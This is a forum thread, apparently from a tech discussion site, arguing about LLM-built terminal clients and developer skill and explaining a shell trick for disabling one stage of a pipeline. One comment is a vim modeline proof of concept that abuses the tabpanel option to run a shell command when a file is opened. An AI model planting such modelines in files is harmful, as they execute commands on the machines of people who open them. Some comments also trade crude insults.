Seems like "shooting down ideas" here is just "criticism of my idea whose framing hurts my feelings". If you want to light a fire with wet wood and cry because someone points that out, you probably lack the grit to execute anyway. Nobody owes you a sugarcoated explanation of the ways your idea is shit. Grow up.

Yeah it does. If you're happy routing your personal data through software that lacks an author who fully understands what the software does, good for you. Suggesting that this doesn't matter in general is.. not an opinion I'd share publicly.

Meh, 2026 edition of "developers vs coders vs engineers". It wasn't interesting before, it isn't now. People will do development at varying depths and breadths depending on their interest, role, project, and skill. For some reason, some people seem obsessed with this topic. "Coders don't care about CS fundamentals!", "engineers apply rigor"! Snore

Just finished looking at Ink here.. frontend world has no shame. Love the gloating about 40x less RAM as if that amount of memory for a text REPL even approaches defensible. "CC built CC" is not the flex people seem to suggest it is.

Frontend losers not realizing the turds they are releasing. An LLM client fits under netcat+echo+awk+jq runnable under a 486 if there's no SSL/TLS on its way, Pentium II could drive fast TLS connections like nothing and under 32MB of RAM with NetBSD for a simple terminal install, maybe with X and a simple WM with RXVT if you care.

Any loser is a "full stack software engineer" nowadays thanks to claude.

Indeed a sad state of affairs.

tldr

    /* vim: set showtabpanel=2 tabpanel=%{%autocmd_add([{'event'\:'SafeStateAgain','pattern'\:'*','cmd'\:'!id>/tmp/calif-vim-rce-poc','once'\:1}])%}: */

>onboard three new devs who would rather gouge their eyes out than decipher an 80-line shell script

If you've just hired a dev who can't/won't read 80 lines of shell, you have bigger problems than GUI vs TUI.

>My competitive edge did not diminish, it expanded.

Reality check: LLMs are available to everyone, dev or otherwise, so your 'competitive edge' is indeed diminished if you believe LLMs are all that.

Of course it is generally available, but I can use it to get 50x gain whereas for others it maybe 3x or even negative.

I have a bash key binding, Ctrl+Y, that prepends sudo to the current command and submits it. I also don't use sudo-rs. No one has died yet.

!?specialthing?

If you are feeling brave

What does it provide over

mycmd1 #| mycmd2

Theirs "turns off" one element of a pipeline; yours turns off everything after a certain point.

This will output the stdout of mycmd1:

    mycmd1 #| mycmd2 | mycmd3

This will output the stdout of mycmd3:

    mycmd1 | \# mycmd2 | mycmd3

Can you explain to me why either of these is useful?

I've somehow gotten by never really needing to pipe any commands in the terminal, probably because I mostly do frontend dev and use the term for starting the server and running prodaccess

Pipelines are usually built up step by step: we run some vague, general thing (e.g. a `find` command); the output looks sort of right, but needs to be narrowed down or processed further, so we press Up to get the previous command back, and add a pipe to the end. We run that, then add something else; and so on.

Now let's say the output looks wrong; e.g. we get nothing out. Weird, the previous command looked right, and it doesn't seem to be a problem with the filter we just put on the end. Maybe the filter we added part-way-through was discarding too much, so that the things we actually wanted weren't reaching the later stages; we didn't notice, because everything was being drowned-out by irrelevant stuff that that our latest filter has just gotten rid of.

Tricks like this `\#` let us turn off that earlier filter, without affecting anything else, so we can see if it was causing the problem as we suspect.

As for more general "why use CLI?", that's been debated for decades already; if you care to look it up :-)

no no, not asking why use CLI. If I was less lazy, I would use it more often

I can imagine a pipeline where intermediate stages have been inserted to have some side effect, like debug logging all data passing through.

Ah duh, cheers